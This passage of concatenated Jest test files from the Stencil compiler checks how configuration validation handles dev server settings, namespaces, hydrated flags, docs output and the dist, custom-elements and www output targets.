expect(config.devServer.reloadStrategy).toBe('hmr'); }); it('should set reloadStrategy pageReload', () => { inputConfig.devServer = { ...inputDevServerConfig, reloadStrategy: 'pageReload' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.reloadStrategy).toBe('pageReload'); }); it('should default openBrowser', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.openBrowser).toBe(true); }); it('should set openBrowser', () => { inputConfig.devServer = { ...inputDevServerConfig, openBrowser: false }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.openBrowser).toBe(false); }); it('should set openBrowser from flag', () => { // the flags field should have been set up in the `beforeEach` block for this test, hence the bang operator inputConfig.flags!.open = false; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.openBrowser).toBe(false); }); it('should default http protocol', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.protocol).toBe('http'); }); it('should set https protocol if credentials are set', () => { inputConfig.devServer = { ...inputDevServerConfig, https: { key: 'fake-key', cert: 'fake-cert' } }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.protocol).toBe('https'); }); it('should set ssr true', () => { inputConfig.devServer = { ssr: true }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.ssr).toBe(true); }); it('should set ssr false', () => { inputConfig.devServer = { ssr: false }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.ssr).toBe(false); }); it('should set ssr from flag', () => { inputConfig.flags = { ...flags, ssr: true }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.ssr).toBe(true); }); it('should set ssr false by default', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.ssr).toBe(false); }); it('should set default srcIndexHtml from config', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.srcIndexHtml).toBe(normalizePath(path.join(root, 'some', 'path', 'src', 'index.html'))); }); it('should set srcIndexHtml from config', () => { const wwwOutputTarget: d.OutputTargetWww = { type: 'www', prerenderConfig: normalizePath(path.join(root, 'some', 'path', 'prerender.config.ts')), }; inputConfig.outputTargets = [wwwOutputTarget]; inputConfig.flags = { ...flags, ssr: true }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.prerenderConfig).toBe(wwwOutputTarget.prerenderConfig); }); describe('pingRoute', () => { it('should default to /ping', () => { // Ensure the pingRoute is not set in the inputConfig so we know we're testing the // default value added during validation delete inputConfig.devServer.pingRoute; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.pingRoute).toBe('/ping'); }); it('should set user defined pingRoute', () => { inputConfig.devServer = { ...inputDevServerConfig, pingRoute: '/my-ping' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.pingRoute).toBe('/my-ping'); }); it('should prefix pingRoute with a "/"', () => { inputConfig.devServer = { ...inputDevServerConfig, pingRoute: 'my-ping' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.pingRoute).toBe('/my-ping'); }); it('should clear ping route if set to null', () => { inputConfig.devServer = { ...inputDevServerConfig, pingRoute: null }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.pingRoute).toBe(null); }); }); }); ================================================ FILE: src/compiler/config/test/validate-docs.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { DEFAULT_TARGET_COMPONENT_STYLES } from '../constants'; import { validateConfig } from '../validate-config'; describe('validateDocs', () => { let userConfig: d.Config; beforeEach(() => { userConfig = mockConfig(); }); it('readme docs dir', () => { // the flags field is expected to have been set by the mock creation function for unvalidated configs, hence the // bang operator userConfig.flags!.docs = true; userConfig.outputTargets = [ { type: 'docs-readme', dir: 'my-dir', } as d.OutputTargetDocsReadme, ]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'docs-readme') as d.OutputTargetDocsReadme; expect(o.dir).toContain('my-dir'); }); it('default no docs, not remove docs output target', () => { userConfig.outputTargets = [{ type: 'docs-readme' }]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'docs-readme')).toBe(true); }); it('default no docs, no output target', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'docs-readme')).toBe(false); }); it('should use default values for docs.markdown.targetComponent', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.docs.markdown.targetComponent.background).toBe(DEFAULT_TARGET_COMPONENT_STYLES.background); }); it('should use user values for docs.markdown.targetComponent.background', () => { userConfig = mockConfig({ docs: { markdown: { targetComponent: { background: '#123', }, }, }, }); const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.docs.markdown.targetComponent.background).toBe(userConfig.docs.markdown.targetComponent.background); }); it('should use user values for docs.markdown.targetComponent.textColor', () => { userConfig = mockConfig({ docs: { markdown: { targetComponent: { textColor: '#123', }, }, }, }); const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.docs.markdown.targetComponent.textColor).toBe(userConfig.docs.markdown.targetComponent.textColor); }); }); ================================================ FILE: src/compiler/config/test/validate-hydrated.spec.ts ================================================ import * as d from '@stencil/core/declarations'; import { validateHydrated } from '../validate-hydrated'; describe('validate-hydrated', () => { describe('validateHydrated', () => { let inputConfig: d.UnvalidatedConfig; let inputHydrateFlagConfig: d.HydratedFlag; beforeEach(() => { inputHydrateFlagConfig = {}; inputConfig = { hydratedFlag: inputHydrateFlagConfig, }; }); it.each([null, false])('returns undefined for hydratedFlag=%s', (badValue) => { // this test explicitly checks for a bad value in the stencil.config file, hence the type assertion (inputConfig.hydratedFlag as any) = badValue; const actual = validateHydrated(inputConfig); expect(actual).toBeNull(); }); it.each([[], true])('returns a default value when hydratedFlag=%s', (badValue) => { // this test explicitly checks for a bad value in the stencil.config file, hence the type assertion (inputConfig.hydratedFlag as any) = badValue; const actual = validateHydrated(inputConfig); expect(actual).toEqual({ hydratedValue: 'inherit', initialValue: 'hidden', name: 'hydrated', property: 'visibility', selector: 'class', }); }); }); }); ================================================ FILE: src/compiler/config/test/validate-namespace.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { validateNamespace } from '../validate-namespace'; // TODO(STENCIL-968): Update tests to check diagnostic messages describe('validateNamespace', () => { const diagnostics: d.Diagnostic[] = []; beforeEach(() => { diagnostics.length = 0; }); it('should not allow special characters in namespace', () => { validateNamespace('My/Namespace', undefined, diagnostics); expect(diagnostics).toHaveLength(1); diagnostics.length = 0; validateNamespace('My%20Namespace', undefined, diagnostics); expect(diagnostics).toHaveLength(1); diagnostics.length = 0; validateNamespace('My:Namespace', undefined, diagnostics); expect(diagnostics).toHaveLength(1); }); it('should not allow spaces in namespace', () => { validateNamespace('My Namespace', undefined, diagnostics); expect(diagnostics).toHaveLength(1); }); it('should not allow dash for last character of namespace', () => { validateNamespace('MyNamespace-', undefined, diagnostics); expect(diagnostics).toHaveLength(1); }); it('should not allow dash for first character of namespace', () => { validateNamespace('-MyNamespace', undefined, diagnostics); expect(diagnostics).toHaveLength(1); }); it('should not allow number for first character of namespace', () => { validateNamespace('88MyNamespace', undefined, diagnostics); expect(diagnostics).toHaveLength(1); }); it('should enforce namespace being at least 3 characters', () => { validateNamespace('ab', undefined, diagnostics); expect(diagnostics).toHaveLength(1); }); it('should allow $ in the namespace', () => { const { namespace, fsNamespace } = validateNamespace('$MyNamespace', undefined, diagnostics); expect(namespace).toBe('$MyNamespace'); expect(fsNamespace).toBe('$mynamespace'); }); it('should allow underscore in the namespace', () => { const { namespace, fsNamespace } = validateNamespace('My_Namespace', undefined, diagnostics); expect(namespace).toBe('My_Namespace'); expect(fsNamespace).toBe('my_namespace'); }); it('should allow dash in the namespace', () => { const { namespace, fsNamespace } = validateNamespace('My-Namespace', undefined, diagnostics); expect(namespace).toBe('MyNamespace'); expect(fsNamespace).toBe('my-namespace'); }); it('should set user namespace', () => { const { namespace, fsNamespace } = validateNamespace('MyNamespace', undefined, diagnostics); expect(namespace).toBe('MyNamespace'); expect(fsNamespace).toBe('mynamespace'); }); it('should set default namespace', () => { const { namespace, fsNamespace } = validateNamespace(undefined, undefined, diagnostics); expect(namespace).toBe('App'); expect(fsNamespace).toBe('app'); }); }); ================================================ FILE: src/compiler/config/test/validate-output-dist-collection.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { join, resolve } from '@utils'; import { validateConfig } from '../validate-config'; describe('validateDistCollectionOutputTarget', () => { let config: d.Config; const rootDir = resolve('/'); const defaultDir = join(rootDir, 'dist', 'collection'); beforeEach(() => { config = mockConfig(); }); it('sets correct default values', () => { const target: d.OutputTargetDistCollection = { type: 'dist-collection', empty: false, dir: null, collectionDir: null, }; config.outputTargets = [target]; const { config: validatedConfig } = validateConfig(config, mockLoadConfigInit()); expect(validatedConfig.outputTargets).toEqual([ { type: 'dist-collection', empty: false, dir: defaultDir, collectionDir: null, transformAliasedImportPaths: true, }, ]); }); it('sets specified directory', () => { const target: d.OutputTargetDistCollection = { type: 'dist-collection', empty: false, dir: '/my-dist', collectionDir: null, }; config.outputTargets = [target]; const { config: validatedConfig } = validateConfig(config, mockLoadConfigInit()); expect(validatedConfig.outputTargets).toEqual([ { type: 'dist-collection', empty: false, dir: '/my-dist', collectionDir: null, transformAliasedImportPaths: true, }, ]); }); describe('transformAliasedImportPaths', () => { it.each([false, true])( "sets option '%s' when explicitly '%s' in config", (transformAliasedImportPaths: boolean) => { const target: d.OutputTargetDistCollection = { type: 'dist-collection', empty: false, dir: null, collectionDir: null, transformAliasedImportPaths, }; config.outputTargets = [target]; const { config: validatedConfig } = validateConfig(config, mockLoadConfigInit()); expect(validatedConfig.outputTargets).toEqual([ { type: 'dist-collection', empty: false, dir: defaultDir, collectionDir: null, transformAliasedImportPaths, }, ]); }, ); }); }); ================================================ FILE: src/compiler/config/test/validate-output-dist-custom-element.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { COPY, DIST_CUSTOM_ELEMENTS, DIST_TYPES, join } from '@utils'; import path from 'path'; import { validateConfig } from '../validate-config'; describe('validate-output-dist-custom-element', () => { describe('validateCustomElement', () => { // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) const rootDir = path.resolve('/'); const defaultDistDir = join(rootDir, 'dist', 'components'); const distCustomElementsDir = 'my-dist-custom-elements'; let userConfig: d.Config; beforeEach(() => { userConfig = mockConfig(); }); it('generates a default dist-custom-elements output target', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: defaultDistDir, typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: true, externalRuntime: true, generateTypeDeclarations: true, customElementsExportBehavior: 'default', }, ]); }); it('uses a provided export behavior over the default value', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, customElementsExportBehavior: 'single-export-module', }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: defaultDistDir, typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: true, externalRuntime: true, generateTypeDeclarations: true, customElementsExportBehavior: 'single-export-module', }, ]); }); it('uses the default export behavior if the specified value is invalid', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, customElementsExportBehavior: 'not-a-valid-option' as d.CustomElementsExportBehavior, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: defaultDistDir, typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: true, externalRuntime: true, generateTypeDeclarations: true, customElementsExportBehavior: 'default', }, ]); }); it('uses a provided dir field over a default directory', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, dir: distCustomElementsDir, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: join(rootDir, distCustomElementsDir), empty: true, externalRuntime: true, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); describe('"empty" field', () => { it('defaults the "empty" field to true if not provided', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, externalRuntime: false, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: true, externalRuntime: false, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); it('defaults the "empty" field to true it\'s not a boolean', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: undefined, externalRuntime: false, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: true, externalRuntime: false, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); }); describe('"externalRuntime" field', () => { it('defaults the "externalRuntime" field to true if not provided', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: false, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: false, externalRuntime: true, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); it('defaults the "externalRuntime" field to true it\'s not a boolean', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: false, externalRuntime: undefined, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: false, externalRuntime: true, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); }); describe('"generateTypeDeclarations" field', () => { it('defaults the "generateTypeDeclarations" field to true if not provided', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: defaultDistDir, typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: false, externalRuntime: true, generateTypeDeclarations: true, customElementsExportBehavior: 'default', }, ]); }); it('defaults the "generateTypeDeclarations" field to true it\'s not a boolean', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: false, generateTypeDeclarations: undefined, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: defaultDistDir, typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: false, externalRuntime: true, generateTypeDeclarations: true, customElementsExportBehavior: 'default', }, ]); }); it('creates a types directory when "generateTypeDeclarations" is true', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: false, externalRuntime: false, generateTypeDeclarations: true, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: defaultDistDir, typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: false, externalRuntime: false, generateTypeDeclarations: true, customElementsExportBehavior: 'default', }, ]); }); it('creates a types directory for a custom directory', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, dir: distCustomElementsDir, empty: false, externalRuntime: false, generateTypeDeclarations: true, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_TYPES, dir: join(rootDir, distCustomElementsDir), typesDir: join(rootDir, 'dist', 'types'), }, { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: join(rootDir, distCustomElementsDir), empty: false, externalRuntime: false, generateTypeDeclarations: true, customElementsExportBehavior: 'default', }, ]); }); it('doesn\'t create a types directory when "generateTypeDeclarations" is false', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, empty: false, externalRuntime: false, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: DIST_CUSTOM_ELEMENTS, copy: [], dir: defaultDistDir, empty: false, externalRuntime: false, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); }); describe('copy tasks', () => { it('copies existing copy tasks over to the output target', () => { const copyOutputTarget: d.CopyTask = { src: 'mock/src', dest: 'mock/dest', }; const copyOutputTarget2: d.CopyTask = { src: 'mock/src2', dest: 'mock/dest2', }; const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, copy: [copyOutputTarget, copyOutputTarget2], dir: distCustomElementsDir, empty: false, externalRuntime: false, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { type: COPY, dir: rootDir, copy: [copyOutputTarget, copyOutputTarget2], }, { type: DIST_CUSTOM_ELEMENTS, copy: [copyOutputTarget, copyOutputTarget2], dir: join(rootDir, distCustomElementsDir), empty: false, externalRuntime: false, generateTypeDeclarations: false, customElementsExportBehavior: 'default', }, ]); }); }); describe('"autoLoader" field', () => { it('normalizes autoLoader: true to an object with defaults', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, autoLoader: true, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const distCustomElementsTarget = config.outputTargets.find( (o) => o.type === DIST_CUSTOM_ELEMENTS, ) as d.OutputTargetDistCustomElements; expect(distCustomElementsTarget.autoLoader).toEqual({ fileName: 'loader', autoStart: true, }); }); it('normalizes autoLoader object with partial options', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, autoLoader: { fileName: 'my-loader' }, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const distCustomElementsTarget = config.outputTargets.find( (o) => o.type === DIST_CUSTOM_ELEMENTS, ) as d.OutputTargetDistCustomElements; expect(distCustomElementsTarget.autoLoader).toEqual({ fileName: 'my-loader', autoStart: true, }); }); it('normalizes autoLoader object with autoStart: false', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, autoLoader: { autoStart: false }, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const distCustomElementsTarget = config.outputTargets.find( (o) => o.type === DIST_CUSTOM_ELEMENTS, ) as d.OutputTargetDistCustomElements; expect(distCustomElementsTarget.autoLoader).toEqual({ fileName: 'loader', autoStart: false, }); }); it('does not set autoLoader when not provided', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const distCustomElementsTarget = config.outputTargets.find( (o) => o.type === DIST_CUSTOM_ELEMENTS, ) as d.OutputTargetDistCustomElements; expect(distCustomElementsTarget.autoLoader).toBeUndefined(); }); it('does not set autoLoader when explicitly false', () => { const outputTarget: d.OutputTargetDistCustomElements = { type: DIST_CUSTOM_ELEMENTS, autoLoader: false, generateTypeDeclarations: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const distCustomElementsTarget = config.outputTargets.find( (o) => o.type === DIST_CUSTOM_ELEMENTS, ) as d.OutputTargetDistCustomElements; expect(distCustomElementsTarget.autoLoader).toBe(false); }); }); }); }); ================================================ FILE: src/compiler/config/test/validate-output-dist.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { join } from '@utils'; import path from 'path'; import { validateConfig } from '../validate-config'; describe('validateDistOutputTarget', () => { // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) const rootDir = path.resolve('/'); let userConfig: d.Config; beforeEach(() => { userConfig = mockConfig({ fsNamespace: 'testing' }); }); it('should set dist values', () => { const outputTarget: d.OutputTargetDist = { type: 'dist', dir: 'my-dist', buildDir: 'my-build', empty: false, }; userConfig.outputTargets = [outputTarget]; userConfig.buildDist = true; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { buildDir: join(rootDir, 'my-dist', 'my-build'), collectionDir: join(rootDir, 'my-dist', 'collection'), copy: [], dir: join(rootDir, 'my-dist'), empty: false, esmLoaderPath: join(rootDir, 'my-dist', 'loader'), type: 'dist', polyfills: false, typesDir: join(rootDir, 'my-dist', 'types'), transformAliasedImportPathsInCollection: true, isPrimaryPackageOutputTarget: false, }, { esmDir: join(rootDir, 'my-dist', 'my-build', 'testing'), empty: false, isBrowserBuild: true, legacyLoaderFile: join(rootDir, 'my-dist', 'my-build', 'testing.js'), polyfills: true, systemDir: undefined, systemLoaderFile: undefined, type: 'dist-lazy', }, { copyAssets: 'dist', copy: [], dir: join(rootDir, 'my-dist', 'my-build', 'testing'), type: 'copy', }, { file: join(rootDir, 'my-dist', 'my-build', 'testing', 'testing.css'), type: 'dist-global-styles', }, { dir: join(rootDir, 'my-dist'), type: 'dist-types', typesDir: join(rootDir, 'my-dist', 'types'), }, { collectionDir: join(rootDir, 'my-dist', 'collection'), dir: join(rootDir, '/my-dist'), empty: false, transformAliasedImportPaths: true, type: 'dist-collection', }, { copy: [{ src: '**/*.svg' }, { src: '**/*.js' }], copyAssets: 'collection', dir: join(rootDir, 'my-dist', 'collection'), type: 'copy', }, { type: 'dist-lazy', cjsDir: join(rootDir, 'my-dist', 'cjs'), cjsIndexFile: join(rootDir, 'my-dist', 'index.cjs.js'), empty: false, esmDir: join(rootDir, 'my-dist', 'esm'), esmEs5Dir: undefined, esmIndexFile: join(rootDir, 'my-dist', 'index.js'), polyfills: true, }, { cjsDir: join(rootDir, 'my-dist', 'cjs'), componentDts: join(rootDir, 'my-dist', 'types', 'components.d.ts'), dir: join(rootDir, 'my-dist', 'loader'), empty: false, esmDir: join(rootDir, 'my-dist', 'esm'), esmEs5Dir: undefined, type: 'dist-lazy-loader', }, ]); }); it('should set defaults when outputTargets dist is empty', () => { userConfig.outputTargets = [{ type: 'dist' }]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const outputTarget = config.outputTargets.find((o) => o.type === 'dist') as d.OutputTargetDist; expect(outputTarget).toBeDefined(); expect(outputTarget.dir).toBe(join(rootDir, 'dist')); expect(outputTarget.buildDir).toBe(join(rootDir, '/dist')); expect(outputTarget.empty).toBe(true); }); it('should default to not add dist when outputTargets exists, but without dist', () => { userConfig.outputTargets = []; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'dist')).toBe(false); }); it('sets option to transform aliased import paths when enabled', () => { const outputTarget: d.OutputTargetDist = { type: 'dist', dir: 'my-dist', buildDir: 'my-build', empty: false, transformAliasedImportPathsInCollection: true, }; userConfig.outputTargets = [outputTarget]; userConfig.buildDist = true; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { buildDir: join(rootDir, 'my-dist', 'my-build'), collectionDir: join(rootDir, 'my-dist', 'collection'), copy: [], dir: join(rootDir, 'my-dist'), empty: false, esmLoaderPath: join(rootDir, 'my-dist', 'loader'), type: 'dist', polyfills: false, typesDir: join(rootDir, 'my-dist', 'types'), transformAliasedImportPathsInCollection: true, isPrimaryPackageOutputTarget: false, }, { esmDir: join(rootDir, 'my-dist', 'my-build', 'testing'), empty: false, isBrowserBuild: true, legacyLoaderFile: join(rootDir, 'my-dist', 'my-build', 'testing.js'), polyfills: true, systemDir: undefined, systemLoaderFile: undefined, type: 'dist-lazy', }, { copyAssets: 'dist', copy: [], dir: join(rootDir, 'my-dist', 'my-build', 'testing'), type: 'copy', }, { file: join(rootDir, 'my-dist', 'my-build', 'testing', 'testing.css'), type: 'dist-global-styles', }, { dir: join(rootDir, 'my-dist'), type: 'dist-types', typesDir: join(rootDir, 'my-dist', 'types'), }, { collectionDir: join(rootDir, 'my-dist', 'collection'), dir: join(rootDir, '/my-dist'), empty: false, transformAliasedImportPaths: true, type: 'dist-collection', }, { copy: [{ src: '**/*.svg' }, { src: '**/*.js' }], copyAssets: 'collection', dir: join(rootDir, 'my-dist', 'collection'), type: 'copy', }, { type: 'dist-lazy', cjsDir: join(rootDir, 'my-dist', 'cjs'), cjsIndexFile: join(rootDir, 'my-dist', 'index.cjs.js'), empty: false, esmDir: join(rootDir, 'my-dist', 'esm'), esmEs5Dir: undefined, esmIndexFile: join(rootDir, 'my-dist', 'index.js'), polyfills: true, }, { cjsDir: join(rootDir, 'my-dist', 'cjs'), componentDts: join(rootDir, 'my-dist', 'types', 'components.d.ts'), dir: join(rootDir, 'my-dist', 'loader'), empty: false, esmDir: join(rootDir, 'my-dist', 'esm'), esmEs5Dir: undefined, type: 'dist-lazy-loader', }, ]); }); it('sets option to validate primary package output target when enabled', () => { const outputTarget: d.OutputTargetDist = { type: 'dist', dir: 'my-dist', buildDir: 'my-build', empty: false, isPrimaryPackageOutputTarget: true, }; userConfig.outputTargets = [outputTarget]; userConfig.buildDist = true; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { buildDir: join(rootDir, 'my-dist', 'my-build'), collectionDir: join(rootDir, 'my-dist', 'collection'), copy: [], dir: join(rootDir, 'my-dist'), empty: false, esmLoaderPath: join(rootDir, 'my-dist', 'loader'), type: 'dist', polyfills: false, typesDir: join(rootDir, 'my-dist', 'types'), transformAliasedImportPathsInCollection: true, isPrimaryPackageOutputTarget: true, }, { esmDir: join(rootDir, 'my-dist', 'my-build', 'testing'), empty: false, isBrowserBuild: true, legacyLoaderFile: join(rootDir, 'my-dist', 'my-build', 'testing.js'), polyfills: true, systemDir: undefined, systemLoaderFile: undefined, type: 'dist-lazy', }, { copyAssets: 'dist', copy: [], dir: join(rootDir, 'my-dist', 'my-build', 'testing'), type: 'copy', }, { file: join(rootDir, 'my-dist', 'my-build', 'testing', 'testing.css'), type: 'dist-global-styles', }, { dir: join(rootDir, 'my-dist'), type: 'dist-types', typesDir: join(rootDir, 'my-dist', 'types'), }, { collectionDir: join(rootDir, 'my-dist', 'collection'), dir: join(rootDir, '/my-dist'), empty: false, transformAliasedImportPaths: true, type: 'dist-collection', }, { copy: [{ src: '**/*.svg' }, { src: '**/*.js' }], copyAssets: 'collection', dir: join(rootDir, 'my-dist', 'collection'), type: 'copy', }, { type: 'dist-lazy', cjsDir: join(rootDir, 'my-dist', 'cjs'), cjsIndexFile: join(rootDir, 'my-dist', 'index.cjs.js'), empty: false, esmDir: join(rootDir, 'my-dist', 'esm'), esmEs5Dir: undefined, esmIndexFile: join(rootDir, 'my-dist', 'index.js'), polyfills: true, }, { cjsDir: join(rootDir, 'my-dist', 'cjs'), componentDts: join(rootDir, 'my-dist', 'types', 'components.d.ts'), dir: join(rootDir, 'my-dist', 'loader'), empty: false, esmDir: join(rootDir, 'my-dist', 'esm'), esmEs5Dir: undefined, type: 'dist-lazy-loader', }, ]); }); }); ================================================ FILE: src/compiler/config/test/validate-output-www.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockLoadConfigInit } from '@stencil/core/testing'; import { isOutputTargetCopy, isOutputTargetHydrate, isOutputTargetWww, join } from '@utils'; import path from 'path'; import { ConfigFlags, createConfigFlags } from '../../../cli/config-flags'; import { validateConfig } from '../validate-config'; describe('validateOutputTargetWww', () => { // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) const rootDir = path.resolve('/'); let userConfig: d.Config; let flags: ConfigFlags; beforeEach(() => { flags = createConfigFlags(); userConfig = { rootDir: rootDir, flags, }; }); it('should have default value', () => { const outputTarget: d.OutputTargetWww = { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input dir: path.join('www', 'docs'), }; userConfig.outputTargets = [outputTarget]; userConfig.buildEs5 = false; const { config } = 